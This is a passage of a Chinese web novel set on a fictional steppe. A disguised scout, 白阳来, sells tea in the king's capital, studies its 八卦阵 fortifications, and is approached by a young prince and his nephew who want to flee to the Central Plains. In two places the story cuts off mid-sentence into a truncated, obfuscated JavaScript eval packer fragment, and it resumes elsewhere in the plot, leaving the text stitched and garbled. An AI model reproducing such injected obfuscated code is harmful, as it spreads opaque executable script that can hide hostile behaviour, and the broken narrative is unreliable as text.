掌柜的被他说得高兴,又饮了一口,说:“这茶虽香,但口轻,泼岩麻贵族不喜欢,他们喜欢茶味重的。” 白阳来有心套话,于是应承道:“掌柜的识货又识人,怪不得生意做的这样好。” 那掌柜的哼笑了一声说:“借小郎君吉言。不过最近的生意其实不大好。” 章余庆了然道:“是了是了,我曾听人说但凡是做大生意的不论何时都要说生意不好做,是为藏财。” 马七也附和道:“就算让人看见了客源滚滚也要说是赔着本卖的,看着热闹,根本不赚钱。” 那掌柜的笑着啐他们:“狗嘴里吐不出象牙的两个货,在小郎君面前也不知道说句人话!” 白阳来给掌柜的添茶,那掌柜的闻着袅袅茶香只觉得头脑中绷着的筋都松了下来,他揉揉太阳穴叹了口气道:“往日与你们浑说也就罢了,如今这话实在是真的。” 原来他们竟然是几个月来第一批来到王城的中原商队,白阳来接着喝茶的动作垂下了眼帘。大军在草原打下了五座城,这是应该的,他并不意外。 但是章余庆很意外,他说:“第一批,之前都没有商队来过吗?马七?” 马七是常走这趟道的,不像他,一年最多也就一两次。 马七摇摇头:“我不知道,今年我也是第一次来。”他好不容易扛过冬日却在倒春寒的时候病了一场,虽然生活尚能自理,但远行是做不到的,那病缠缠绵绵,他靠着过年时写对联福字挣的钱勉强度日,直到这一次才终于跟上了前往草原的商队。 掌柜的说:“前些日子两王回来了,在王城待了几日便又离开了。这两个人不对付,常常在朝堂上吵架,每次回来满城都是有关他们的传言。” 白阳来问:“这次有些什么不一样的新鲜传言吗?” 掌柜的说:“新鲜倒没什么新鲜,他们一个爱财一个爱酒色,来来去去就是那些事儿,只是往常都是他们在外头抢了东西拿来讨好太后和幼主,这一次却是从王城里面往外抬了不少东西,这一点有些反常。” 章余庆随口说:“可能是太后和幼主赏赐他们的东西呢。” 马七说:“狮王财富独步草原,这谁都知道。” 那掌柜的面上露出些担忧说:“要单看,谁给谁都没什么,但要是跟中原的商队许久不来一起看……” 章余庆一下子握紧了手中的茶杯:“你是说草原上有战事?” 掌柜的说:“草原那么大,泼岩麻部自从双翼狮王建立王城并定居于此之后便不再四处游牧,贵族的 生活虽然好了,王城也确实热闹兴旺,可对草原的掌控却不及过去了,否则杂部怎么能占据现在那片草原。”他叹了口气说:“我担心草原上有战事但他们却对外瞒着,果真如此那必是两王打了败仗。” 章余庆说:“不能吧,他们要是打了败仗朝廷还能给他们东西?” 马七说:“让他们去招兵买马吗?” 掌柜的没好气道:“他们要是打了胜仗,喜报定会传遍全城,不许一个人不知道!当年的双翼狮王阿克金那真是草原王者,他弟弟阿克奇虽然比他是差了些可底子还是在的,瘦死的骆驼总比马大。等他也死了幼主继位,怎么说呢。”掌柜的压低了声音:“我都有回中原的打算了。” 章余庆这才有些心惊:“不至于吧,你那主家可是王城里面的人啊。” 掌柜的说:“他是太后的母家侄儿,虽没什么才干,但是家中有爵位,人挺好对我也信任,这店里只要挣钱就行,别的都不管。可如今的王城再也不是当年的王城了,真要是大睿朝的兵马打过来决计撑不住。” 章余庆说:“你怎么知道是咱们朝的兵马?不是还有杂部吗?” 马七闷闷道:“杂部能打过二王?” 掌柜的也笑他说:“泼岩麻再怎么今非昔比在草原也也是霸主,怕只怕大睿朝廷的军队。虽然这城中中原的消息不多,但我也听说了,如今打仗最厉害的是一个叫雍长龄的将军,早些年他在草原就曾有七战七捷的胜绩……” 取银两的伙计从后头跑过来慌乱地叫着掌柜地说:“钱掌柜,后头,后头有人找你,你快去看看吧!” 钱掌柜喝着久违的好茶与熟人和顺眼的小郎君说着话,还真有些怡然忘忧,此刻伙计这样急匆匆来叫实在是败坏了他难得的谈兴,不由着恼道:“什么事急成这样,我让你取银子,银子呢?快去取来别让郎君们久等!” 说话间通向后院的帘子一掀,走进来两个半大少年,掌柜的顿时瞪大了眼睛,却一时说不出话来。 其中一个少年本来正准备说什么,突然看见坐在椅子上的白阳来,顿时双眼一亮,忘了言语。 倒是跟在他身后的另一个少年,双眼直视着白阳来问:“你们是刚进城的商队吗?从中原来的?” 白阳来注视着那个少年站起身来答道:“从中原来王城贩茶,今日刚到。” 那少年故作沉稳地点了点头问:“多少钱能带我去中原?” 白阳来看着这个通身锦绣的少年说:“郎君何故前往中原?我们只贩货,从未带过人。” 钱掌柜的此时终于找回来自己的声音:“不不不不,他是说笑的。两位小公子怎么到前头来了,这里人多又杂乱,快快请回,我们去后头说话。” 小公子?白阳来听得心念一动。 章余庆跟马七自从这两个半大少年进来就没再说过话,他们从椅子上起身将白阳来隐隐挡在自己身后。 钱掌柜顾不得抬起袖子擦额头上的汗,只想先把两个小祖宗弄走再派人通知主家。谁知这个年纪的少年正是最有主意的时候,哪里肯走,在看到白阳来之后更是连话都不想跟钱掌柜多说。两人不约而同从两边绕过挡在他们面前的钱掌柜,一个对白阳来说:“你长得真好看,来卖茶叶的?你的茶叶我都要了,你带我表叔去趟中原。” 钱掌柜吓得人都快抽过去了。 白阳来看着站在自己面前的两个少年,钱掌柜的主家是太后的侄儿,那这少年口中的“表叔”,他看了看“表叔”身上戴着的各种配饰,又结合了他的年纪,双翼狮王阿克金与贞慈太后所生的儿子今年正是十五六岁的年纪…… 钱掌柜冲到了几人中间用自己高大肥胖的身躯挡住了两个少年的目光:“两位小公子离开家也有一段时间吧,我这就送两位回家。不然家里人找过来可如何是好。”他话里的每一个“家”字都故意加重了声音。 那个应该是“表侄”的少年对钱掌柜说:“你别想再偷偷告诉家里人我们在这儿,来之前我们已经故布疑阵,让他们以为我们去了别处。” 钱掌柜真是汗湿重衫:你年纪不大倒是真能耐啊!这两位要是在他这儿出事儿,那他就不是回中原,而是去逃命了。 “表叔”压根儿不理钱掌柜,他向旁边迈了一步重新对上白阳来的眼睛说:“我给你钱,你带我去中原。” 白阳来不动声色地说:“我的茶钱掌柜已经买下了,只是帐还未结。” “表叔”与“表侄”同时从怀中掏出一把金叶子——不用说,又是狮王从中原学来的——十分慷慨地递向白阳来。“表侄”说:“我们俩要一起去中原,就选你了,放心,我们能照顾自己,你只要给我们带个路就行。” 钱掌柜忍无可忍,也只能继续忍:“两位小公子哈哈哈哈,想去中原一游我带你们去啊,这种事哪好劳烦外人,再说我早想回家看看了,来来来,咱们到后头详细商议去。”同时呵斥伙计:“给郎君结账的银子呢,还不赶紧拿来,你是要死啊!”还是要我死! 白阳来与章余庆收了银子,跟马七一同告辞。 “表侄”还想说什么被“表叔”拦下,白阳来最后看了他一眼转身离开钱掌柜的铺子。 交易完毕,章余庆打发跟着来送货的伙计先回客栈休息,他和马七带白阳来去看八卦阵。 王城外面是三面环卫着的八卦阵,向外空出三十丈的空地然后便是一条热闹的街市,人们甚至可以坐在茶楼上眺望那如城墙一般高耸着的八卦阵。 三人登上茶楼,白阳来敏锐地发现二楼后方不起眼处坐着的那个人让他感觉有些异样,他落座时装作不经意看了过去,对上了罗影略带无奈的目光。原来是自己人,白阳来借着环顾四周来回看了几眼他的装束,这换装的本事确实厉害,从外在形状完全看不出是他。 章余庆让白阳来在正对着窗户的位置坐下,说:“按理说不该揣着货款出来闲逛的,不过有你在应当不妨事。” 白阳来让他们随便点,就当自己答谢两位郎君方才帮着谈价 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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白阳来等人坐茶楼上将护卫泼岩麻王城的八卦阵当景儿看,章余庆经过此次比想象更顺利的行程已经充分相信,这位高大俊美雅量非常的白郎君就是个小福星。此刻他怀里揣着银子又有人请客,支使着茶楼的伙计东家买个饼,西家买碗肉,把掌柜的都惊动了上来。 这茶楼名为“清香”,看着像中原人开的茶楼,其实掌柜的是泼岩麻族人。泼岩麻分贵族、平民和奴隶,茶楼东家是小贵族,掌柜的平民,雇佣的伙计也是平民,若是用奴隶做伙计会有贵族不愿意来光顾。 那掌柜的官话说得极好,又热情亲切,在客人中十分吃得开,他一上二楼就拿着拱手礼招呼章余庆道:“章郎君,这可真是许久不见啦!今日商队一进城我就听说了,您这次走在最前头,这是在哪里发了财了?咱们茶楼的东西郎君都吃不惯了?” 章余庆说起场面话也不含糊:“虎力哈依掌柜,许久不见,掌柜的气色还是这么好啊!您这说的是哪里话,我不论发不发财,只要有银子还能不来这茶楼给您送些?您这的东西只有我吃不起的,绝没有我吃不惯的!这不是白郎君第一次来,您说,我都带他来了您这城里数一不数二的茶楼了,那西边的胡椒饼,还有东边的香烤蒸肉我能不介绍他尝尝?” 虎力哈依哈哈大笑:“章郎君还是这么会说话,听您说两句简直比挣一天的银子还让人高兴!” 他俩说话间,白阳来与马七双双回头,虎力哈依一边跟章余庆说话一边向两人拱手,然后很自然地对白阳来说:“这位想必就是白郎君了?” 白阳来站起身来拱手道:“虎力哈依掌柜有礼了,在下白阳来,今日是第一次来王城贩茶,日后还请掌柜的多多帮衬。” 虎力哈依露出惊讶神色:“白郎君卖的是茶叶?怎么不来让我看看?我这里正需要大量的茶叶啊。” 白阳来面呈歉意道:“第一次来,货物没带多少,掌柜的这么大的茶楼在下不好意思上门。” 虎力哈依知道他说的这是场面话,但由他这么说出来听着倒也舒心,虎力哈依道:“以后常来常往,白郎君有了好货可要想着我些,我开这茶楼,需要的茶叶量可大了。” 白阳来面带喜悦之色道:“白某先谢过掌柜的,等下次再来一定将茶叶拉过来请掌柜的先看。” 虎力哈依也笑着谢了白阳来一回,再与章余庆打了个招呼就下楼了。 三人坐在茶楼上慢慢吃饭,胡椒饼和香烤蒸肉都还不错,但比之燕家的厨子还是差了些,白阳来原本想着若是好吃就去看看怎么做的,回去让厨子做给燕昭鹏尝尝,现在看来是用不着了。 这香烤蒸肉因为多了“蒸”这一步,肉质吃起来更加香嫩,马七非常喜欢,他牙口不太好,吃起烤肉来总是有些辛苦,这香烤蒸肉可是正好。 白阳来无心吃饭,不过一口一口应付着,注意力都放在了观察八卦阵及外围守卫上面,等到章余庆和马七吃得差不多了,他问伙计要了一壶热水,沏上了自己随身带着的好茶,倒了三杯清凉的茶汤,这才开始说起茶楼对面的八卦阵。 白阳来举杯轻嗅茶香道:“这八卦阵看着挺漂亮,只是看不出厉害在哪里,果然百闻不如一见,传说中那么厉害的东西亲眼见过才知道,也不过如此。” 马七举起杯子喝了一口热茶,一边回味一边说:“我当年第一次来王城的时候,八卦阵附近根本没有守卫,不少人直接在八卦阵的外墙下面摆摊子卖东西,根本没有人管。” 白阳来问:“那里面的人从哪里出入呢?” 他身后有人插言:“八卦阵本为防御王城而建,要出入直接从阵中走就是了。” 三人闻闻声看去,一个中原人长相身穿泼岩麻族服饰的男子站在白阳来身侧看着他们的茶壶说:“郎君这茶好香,可否让我也饮一杯尝尝?” 如果说马七身上的衣服是又旧又破,那这位说话之人的衣服就是又旧又脏。他看见章余庆上下打量自己,咧嘴一笑说:“这位郎君想知道这八卦阵的故事,我来给你讲如何,就当换杯茶喝。” 说起喝茶这种生活日常,白阳来在燕府长大,吃穿用度与燕府其他两位主子都是一样的。他一直觉得自己是个没什么讲究的人,尤其是吃喝上面,不是随着燕昭鹏的喜好就是随着燕墨闻的口味,他们两人什么吃喝白阳来就跟着陪着,整个燕家都觉得白阳来乖巧好养活得很。只是他们都忘记了,能够被燕家三位主子接触到的一切都是经过了无数筛选才被呈送上来的。即使不说什么品味、底蕴,单是习惯,这些年也早就养成了,是以白阳来会带在身上的茶,在外人看来那真真是极好的。 白阳来他们原本临窗而坐,四方桌的一侧靠着窗下的墙,此时要加一个人多有不便,白阳来于是给了银子,两个伙计抬着一张六方桌换上,四人重又落座。 白阳来亲手斟了四杯茶,分与三人说:“请三位郎君自便。”他转向坐在他左手边的那人道:“还未请教郎君尊姓大名?” 那人抖了抖袖子十分端正地行了个礼说:“在下姓楼,名冰尽。” 白阳来、章余庆、马七三人也各自报了姓名。 章余庆跟马七坐在楼冰尽对面,打量着他说:“我们都是今日进城来做生意的,不知楼郎君您是?” 楼冰尽说:“啊,我也是来王城做生意的,不过我是从另一边来的,来了有些日子了。”他压低声音神神秘秘地说:“你们从中原来应该知道,最近不太平啊,你们一路上没有遇见有人打仗吗?” 润和大营连拔泼岩麻部五城的消息在雍大将军的授意下被尽可能地遮掩住了,甚至草原上的风声都不多,朝廷和各地官员也都是从他们送出去的军报中了解情况的,这在最大程度上保证了大军后续行动的自由和他们在草原上的安全。 白阳来问:“楼兄不是从另一边来王城的吗?仗是在那边打的?” 楼冰尽说:“不,就是在这边草原上,是大睿的景帝向泼岩麻开战,领兵的就是当年那个在草原上七战七捷的将军。” 章余庆说:“这事儿我们都不知道,你从另一边过来,你怎么知道?” 楼冰尽冲他一笑说:“这就是在下的本事了。我能跟诸位坐在这张桌子上喝茶,凭的不也是这个吗?” 白阳来干脆取了些银子拍在桌上说:“楼郎君见识广,今日既然相遇不如就跟我们好好说说,都是在草原上来去的,若是真有战事我们却不得而知那岂不危险。”言语间还是不信。 楼冰尽饮尽杯中茶,道:“好说好说。白郎君是爽快人,我也不能含糊。待我先与你说一说这八卦阵还了你这好茶,再来说这草原战事不迟。” 四人就这样在茶楼坐了一下午,待到黄昏将至,楼冰尽与他们在茶楼门口分别,三人从清香茶楼走回他们居住的云来客栈。 这云来客栈也是章余庆和马七相熟的地方,马七每次来便给客栈干些活计以此来抵住店的钱。章余庆和白阳来的商队跟着他们卖了货之后便回来了,现在都在客栈中准备吃晚饭。 白阳来与他们道别,又让马七安心住店,晚饭会给他送到房中。马七看了看白阳来没说什么,点了点头便回房了。章余庆今日除了卖货陪白阳来坐了半日,明后天也有自己的事要忙,他告辞离去时还不忘嘱咐白阳来有事记得来找他。 白阳来回房,罗影等人已经在房中等着他了。 白阳来没有废话,直接问道:“从恒福居出来可有人跟踪我?王城今日都有何人出入?” 27.第 27 章 恒福居就是钱掌柜的店铺。据章余庆所说,钱掌柜的东家是泼岩麻的大贵族,身家豪富出手阔绰,他之所以把白阳来带到恒福居卖货是因为恒福居每日开业主要的目的是为了给钱掌柜的贵族东家搜寻各种好东西供其自享或走礼之用,赚钱倒在其次。是故钱掌柜收货更看中货品的好坏而非价钱,只要白阳来的茶好,钱掌柜是最有可能出高价的,反正他无所谓赚多赚少,只要货品能让他的东家高兴,那钱掌柜的日子就能过得滋润。 不像清香茶楼的虎力哈依,他那个东家只不过是个小贵族,开茶楼就是为了赚钱,不但会压价还很麻烦。 白阳来想知道的是他在恒福居见到的那两个少年怎么样了,彼时有钱掌柜拦在中间,他不好多说什么,但临走时他是刻意用眼神示意了的,那两个少年若是有心,想知道他的行踪并不难。 果然罗影禀报道:“跟着郎君的斥候发现有泼岩麻人从您离开恒福居便一直跟着,还分了人跟随在恒福居与您分开的商队伙计,一直跟到了客栈。”罗影说:“至于王城,我一直在那边,并未发现有人出入。” 白阳来问:“你可知道双翼狮王阿克金有一个儿子?” 罗影回道:“是,那位王子名叫苏善,阿克金死时他年纪尚小,所以是由阿克金一母同胞的弟弟阿克奇继承了王位,成为了第二任双翼狮王。他继位之后便娶了阿克金的妻子为后,两人也育有一子,名叫浑餮怜。阿克奇死后,他的王后成了现在的贞慈太后,两人所生之子便是如今泼岩麻的幼王。” 隋得远“嘶”了一声说:“这阿克奇占了侄子的王位还娶了嫂子,自己死后就直接将王位传给了自己的儿子?可真是……令人叹为观止啊。” 罗高川替阿克金鸣不平:“双翼狮王虽然打不赢咱们大睿,但也是草原不世出的王者,谁能想到他死了之后儿子和妻子竟然活成这样?我要是阿克金我就是做鬼也不放过阿克奇。” 何谒倒是不这么觉得,他说:“阿克金生前确实厉害,可是泼岩麻朝廷竟无人愿意守护他留下的妻儿,这说明他御下无功,否则王位也不可能任由阿克奇说夺就夺了去。” 这话也有道理,唐竟民于是有了疑问:“那阿克金当年那么厉害,他手下、就算文臣靠不住,难道跟着他一起四处征战的武将们也没有人愿意效忠小王子的吗?就是那个苏善。” 宋宁生挠挠头不是很肯定地说:“不是说泼岩麻有兄终弟及的习俗?包括他们兄长的妻子也像财富和地位一样能被弟弟继承。听说贞慈太后的母族是泼岩麻的大贵族,不说别的,光凭身份阿克奇也不可能放过她。” 白阳来端坐于桌前,双手拄膝说:“我今日在恒福居见到了两个少年,其中一个很有可能是苏善。” 罗影立刻提供情报说:“泼岩麻族人成家之前都是与母亲居住在一起的,苏善如今十五六岁的年纪并未婚娶,应当仍是住在王城之内的。”他顿了一下补充道:“现在与过去不同了,按照如今的规矩,他就是婚后开府也会在王城内居住。” 说到苏善的年纪,罗高川有一个疑问:“他儿子才十五六岁那双翼狮王岂不是才死了十来年,但我怎么感觉他已经死了很久了。” 何谒亦有此感,说:“因为这十来年发生了太多事,泼岩麻部一直不平静。”其实中原大睿朝中同样不平静。 隋得远附和道:“是啊,要这么说上一次大将军七战七捷的时候双翼狮王还在世呢。”他说的双翼狮王是阿克奇。 唐竟民在心里算了算说:“嗯?那要这么说的话,上一次大将军打下了他七座城,这次又打了五座,一共就是十二座了,他们在草原统共才建了几座城?那这岂不是没啦?” 宋宁生说:“是没了啊,现在不就只剩下王城和前营了吗。” 唐竟民:“那合着他弟弟继位之后就只知道抢媳妇生儿子,啥也没干?” 隋得远:“要不怎么说不能出败家子呢。” 一时之间,大家都开始为阿克金感到不值,好歹也英雄一世,身后事竟然如此。 白阳来曲起一根修长的手指点了点桌子:“说正事。” 众人迅速收起同情心。 白阳来回想着午后的交谈说:“我从知情人处了解了一下八卦阵,只是不知道他说的有几分真。” 金刚八卦阵脱胎于中原盛名已久的八卦阵法,相传是当年双翼狮王从中原半骗半掳了一批龙氏门人回草原设计修建的,为的是让泼岩麻王城能稳固而安全地屹立千年,使后世的泼岩麻王族获得永远的庇护。 白阳来将下午听来的消息与大家分享,罗影也说了他了解到情况:“除了那间茶楼对面的守卫,还有一个地方有王城守卫,并且有人将一些货物送到那里。王城中有人出来接货,当场点验之后就将东西都收进去了。”但是,罗影强调道:“只有这两个地方有守卫,我派人在八卦阵的各个出入口都守着了,没有人出入。” 白阳来点点头:“那么我今日遇见的两个少年要么是住在外城,要么就是……” 罗高川抢答:“有密道!王城内有可以通往外城的密道!” 何谒提出异议:“可是狮王建八卦阵的初衷就是希望王城能够固若金汤,安全无虞,如果有密道那岂不是违背了初衷?” 隋得远跟罗高川想的一样,听何谒有如此一问便说:“那也可能密道不是阿克金建的呢。” 唐竟民另有疑问:“郎君遇到的那个人说这个八卦阵是个残破的劣等货,还说狮王没钱这不是更奇怪吗?双翼狮王一统草原部族那是一手杀人一手抢钱,这谁不知道,也就是碰上咱们实在打不过才缩回去了。他怎么可能没钱呢?” 宋宁生倒是觉得这个说法有些道理,他转向唐竟民说:“咱们下午围着八卦阵转的时候不是就议论过吗,那阵的外墙都有些残破了,也不好好刷一刷,看着跟家道中落的人家年久失修的老宅外墙似的。” 何谒有些好笑:“八卦阵的外墙的确很有年深日久的痕迹,但也没有你们说的这么夸张吧。” 白阳来说:“今日我去的那个茶楼是正对着八卦阵的一个门开的,那里有守卫,所以看起来倒也体面,但八卦阵的有些地方确实颇显老旧。暂且当楼冰尽所言为真,那泼岩麻内部的问题恐怕就很严重了。” 按楼冰尽的说法:当年能被狮王骗到草原上的龙氏门人能是什么正经的门人,压根就不配姓龙!他们能设计出什么好阵法,金刚八卦阵除了名字,其他的也就只能哄一哄双翼狮王这种不懂阵法又不通中原术数精华之人。 但中原又有几人能懂术数精华呢,彼时与楼冰尽同在一张桌子上喝茶但丝毫不懂术数更别说精华的中原人,章余庆、马七与白阳来,只觉得自己莫名其妙就挨骂了。 白阳来稍稍歪了歪头,默默观察这个楼冰尽,“楼”? 楼冰尽侃侃而谈:“首先,八卦阵阵法与阵中的各种建筑应当是一个整体,像这样专门在外围建个所谓的阵来守护内里的做法本身就很、很”他措辞了几下才说:“很不入流。但也不是不行,只是这样出入会很不方便,因此必定难以被频繁长久地使用。”他指了指从茶楼二层窗户看出去那些站在八卦阵出入口的侍卫说:“为何原本就是做守卫之用的阵法外还需要另加守卫?因为有人改了阵,但显然是没改好,所以这个阵法如今已经不再可靠了。”楼冰尽说到这里突然有些激动:“阵法也不是不可以改,但是像这样建死了的阵法要改起来是很麻烦的,一个没改好那整个阵就都废了。而且,依我看来,他们八成还不知道,以为改错了一处就只是那一处不通,只要安排个守卫守好那一处就行了,实际上!” 他猛地停下,将白阳来的好茶一饮而尽,茶香与回甘让他的情绪平静了一些,楼冰尽缓了缓后语带嘲讽地说:“过去常听闻双翼狮王雄霸草原身家巨富,现在看,他也没什么钱,八卦阵都建的这么抠抠搜搜,我原以为他们有多厉害呢,竟然只是这么个低劣玩意儿,真没意思。” 章余庆听他说这话,好家伙,你是什么人啊口气这么大:“楼郎君,郎君的出身章某不知晓,但要照您这么说这八卦阵该怎么修才叫有钱呢?” 马七在旁补充:“还要精良优异不低劣。” 楼冰尽倒是没觉得他们阴阳怪气,反而认真地说:“有人曾按照当年传说中狮王的财力减了三分推算过,如果他真想要一座能护卫后代百年千年的乾坤八卦阵,那就应该这么修……” 白阳来回忆到这儿,突然说:“不对!罗影,你马上派人去查一查,今日我遇见的那个楼冰尽在哪儿?我要知道他的行踪。” 罗影起身应是,转身出门安排,一阵风似的,甚至没有发出多余的声音。 白阳来心中有所觉悟,他站起身来在房中踱步,思索着说道:“我们之前想得有些简单了,从眼下的情况看,先前的计划需要改一改才对。大将军派我来并不止是想让我看一看王城和八卦阵。”白阳来觉得自己有所了悟:“其实一切问题归根到底都是人的问题。王城和八卦阵也是从人开始的,那么最终就应该着落到人的身上。那两个少年和楼冰尽,他们的身份都不简单。”想到此节,他吩咐手下人等:“你们做好随时行动的准备,然后就去休息等待命令,时机一到我们要立刻随机应变。” 众人听了他的话后别无异议,齐声应是之后便告辞散去准备休息不提。留下白阳来一人在屋内细细思考今日得到的各种讯息,他十分怀疑那两个少年其中一人是阿克金的独子苏善,而楼冰尽,则可能是精擅阵法机关的龙门中人。 云来客栈常年客似云来,因为它是城中最大的一家客栈,有最便宜的大通铺,窄小的下等房,宽敞的中等房和舒适的上等房;饭食方面从十几个菜的席面到豆面窝头配咸菜均有供应,喝茶喝酒要钱,买了窝头咸菜的话喝热水则不要钱。 真正有钱的富商自是不屑入住云来客栈的,但进城做生意的商队大都需要省俭,所以云来客栈不但名副其实客似云来,而且名气颇大,在城中要找行商首推便是云来客栈。 苏善与丛英来到云来客栈的时候已经换了一身衣服,在衣着上看起来已经并不突兀了,但客栈中的人们面上与体型上无不留有他们为生活奔忙的痕迹,这些苏善与丛英有怎么会有呢。 伙计赶上前来招呼:“客官来啦,您二位是……”伙计迟疑道:“来找人的吧?” 丛英有些警惕:“你怎么知道我们是来找人的?” 伙计笑着回道:“来小店的除了吃饭住店就是找人,这也不是饭点儿,二位也没带行李,可不就是来找人的么。不知二位要找的客人住在哪个房间,我好给两位带路?” 他们不知道白阳来住哪儿,就连云来客栈,也是听说进城的行商多住这里才过来问问的。 丛英看苏善,苏善有些不好意思,暗自咬了咬牙说:“有一个今日刚来的,长得虽然黑黄了些但特别漂亮的高个子。” 一说到漂亮伙计立马知道了,说:“啊,是那个郎君啊,我知道,他在上房,二位请随我来。” 苏善与丛英同时摸向腰间,丛英又看苏善,苏善将手放下,丛英喜滋滋地摸出一颗金珠子递给那个伙计说:“赏你的。” 伙计一下子都没反应过来,客人给了他一颗金珠子,待看清了后简直喜不自胜,双手接过那颗金珠子,珍而重之地握在手心里,笑容映了满面,带起路来欢快又小心翼翼,上楼的时候只觉得自己一身力气,恨不得给他们俩背上去——丛英给的金珠子比伙计见过的、以前其他客人给掌柜付账的金珠子大至少两圈! 丛英开心地笑着,用袖子掩着嘴对苏善说:“他真好玩儿,比里头的人有趣多了。” 苏善也笑了笑,他也觉得外面有意思,但心中有事,并不能如丛英一般开怀。 苏善到白阳来门口时,罗影从窗户跳了进来,白阳来正在擦剑,听到动静立马起身,看到是罗影才将手从剑柄上松下来:“出什么事了?” 罗影说:“苏善来了,就在门外。” 门口传来敲门声,随后响起伙计恭敬的问候:“郎君在吗?有两位小郎君来找您,不知您是否方便一见?” 白阳来收起擦好的长剑,罗影回到窗边做侍立状。 苏善与丛英有些紧张,或者说兴奋,他们直觉白阳来是能帮助他们的人。 门开了,白阳来颀长清俊的身影出现在三人面前,伙计正要说话,丛英已经开口:“真的是你!” 伙计看他们找着了,恭敬地默默退下,白阳来侧头扬声道:“劳烦,送一壶热水煮茶用。”伙计答应着跑去提热水,白阳来侧身道:“两位郎君请。” 苏善在暗地里咬了咬牙,心想:豁出去了,就赌这一把。他长袍一掀迈步进屋,丛英立刻跟着走了进去,白阳来关门。 苏善没想到屋里还有人,瞪着罗影便脱口而出:“你怎么在这里?” 罗影沉默了一下说:“郎君请了,我是我们郎君的侍卫,在此护卫主人。” 苏善很自然地坐下说:“你护卫他?我看他可比你厉害。” 罗影很赞同地说:“正是,我家郎君比我厉害得多。” 听他这样回答苏善没再说什么,反而觉得这个侍卫很不错。倒是自觉坐在苏善旁边的丛英说:“你现在在这儿护卫了,今日我们见他的时候你这侍卫怎么不在主人身旁护卫?” 白阳来最后落座,他一边在与苏善、丛英都隔了一个位置的圆凳上坐下,一边反问丛英:“说到侍卫,今日我见两位郎君两次,怎么一次都未见两位的侍卫?” 偷溜出家的叔侄俩哽住了,丛英飞快地想胡乱地说:“我们……比你更厉害,我们不需要护卫。” 白阳来从不做言语上的纠缠,单刀直入地问:“两位郎君夤夜造访不知所为何事?” 这下丛英不说话了,转头去看苏善。 从刚才起,白阳来与罗影便一直留心观察苏善,他心中有事,想要寻求白阳来的帮助却又犹豫、担忧不敢下决心。 苏善一时不语,白阳来想了想放缓了自己的声音,温和地问道:“郎君,可是想去中原游玩?” 苏善未语,丛英已经答道:“对!我们就是要去中原玩儿。你给我们带路,我们给你金子。” 罗影在暗中舒了一口气:这两人若都是这样藏不住的性子那可真是太好了。 白阳来不动声色地说:“我出来做生意就是赚钱来的,郎君愿意出钱自然好,但我这是第一次出来,只带过货,没带过人。” 这时苏善出声了:“就是要第一次!”说完之后他有些慌,立马解释道:“我的意思是说,我第一次去中原就想找第一次来岩驼岭的人带我,我不喜欢那些常年来去的商人……我嗯,我是说,我喜欢年轻人!他们都太老了,你就很好。” 他又看了看白阳来,除了黑黄的肤色令人替他感到惋惜之外,眉目鼻唇甚至耳朵都很好看,身材个头更没的说,确实很好,苏善觉得很满意。 丛英也很满意,他觉得他们一出门就遇见白阳来简直是上天在用这种方式告诉他们,此行中原一定顺利。 白阳来扬了扬眉毛说:“两位郎君打算何时启程?” 苏善放在桌上的左手不自觉地握拳,说:“越快越好。” 白阳来悠悠道:“我带来的货倒是已经都卖出去了,可回去也不能空着手会,总要带上些这里的好东西回去才不亏。还请两位郎君稍待几日,等我备完了货咱们就启程。” “稍待几日?”丛英微怒道:“不行,我们不能等!”说不定什么时候就会被抓回去,还几日。 苏善用眼神制止了他,转而对白阳来说:“你不过是为了钱,我加价就是了。”他将一直放在桌下的右手抬了起来,在桌上展开了手中的一把金叶子,放下,说:“你带我们去中原,这些都是你的,不必再浪费时间备什么货物了,我们什么时候能走?” 白阳来看了看金叶子,笑着问:“郎君这么急?” 苏善放在桌上的两只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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苏善有些惆怅地说:“以后都要改过来了。离开那里,我们就什么都不是了。”但是他高兴,脱离身份让他有一种终于能够松了一口气的感觉,再没有窒息和无处不在的束缚,真好。 丛英带着期待和一点隐秘的兴奋说:“咱们一出来就遇到这个人,我一眼就看中他了,就如我当年一眼就看中了你一样。”他很相信自己的眼光和运气:“我觉得他是靠得住的,他还说燕府对他有恩,那他一定能带我们顺利到达目的地的对吗?” 苏善听他说得越发笃定反而感觉有些茫然,说:“希望是吧。但你知道我们赌这一把有可能成功也很可能失败。”苏善的心中很有些矛盾,他既需要一个伙伴与他一路同行,又害怕失败了连累丛英。毕竟是自己要抛开身份去找燕将军,丛英其实没有这样的想法,他只是不喜欢家里的环境又爱黏着自己玩儿罢了。 苏善说:“你可要想清楚,我们这一去就再也回不了头了。我们的家人,从此以后可能再也见不到了。” 丛英想了想,咬着牙说:“你别以为我天天没心没肺的,我都知道!虽然以后我或许会后悔……但是!”丛英说:“我是真的不想再在家里呆着了,唉,等出去了我再跟你说,我们府里比你们宫里好不到哪儿去。” 苏善低下了头,两人同时叹了一口气。 小小年纪,皇亲贵胄,竟也有这么多烦心事,说出去谁信呢。 有人敲门:“二位郎君,我们奉主人之命为郎君送水食。” 苏善抬起头说:“进来吧。”丛英飞快地用衣袖擦了擦眼睛。 白阳来找到章余庆和马七说明了情况他想带马七一起走,至于章余庆那就只能有缘再见了。 章余庆虽然吃惊但白阳来既已决定他也没有再劝,只是说:“那两个郎君是什么身份大概也能猜得出来,你这胆子可是够大的。” 白阳来自然没有错过他眼中的担忧,但此刻时间紧,有太多的来不及,便只是说:“他们金叶子给的足,我也就图这个。” 人各有志,能同行是缘分,可缘尽了那也就该散了。章余庆十分惋惜,想给白阳来点儿什么东西作纪念,想了想回身去翻行李。 白阳来对马七说:“你的马有些老了,可否就留在这里?我已经让人去准备了,路上我们需快马加鞭以策安全。” 马七想了想说:“你能保证帮我报仇吗?” 白阳来说:“我一定竭尽全力。” 马七说:“好。我这就下去交代,这儿的掌柜的是个仁义的,我的马就交托给他。”对常年在草原上行走的人来说,他们的马就是他们的家人伙伴,并非仅仅是一只代步的牲畜。 章余庆拿出一个木牌说:“这是我们行商互相认身份的牌记,给你,以后山水有相逢。” 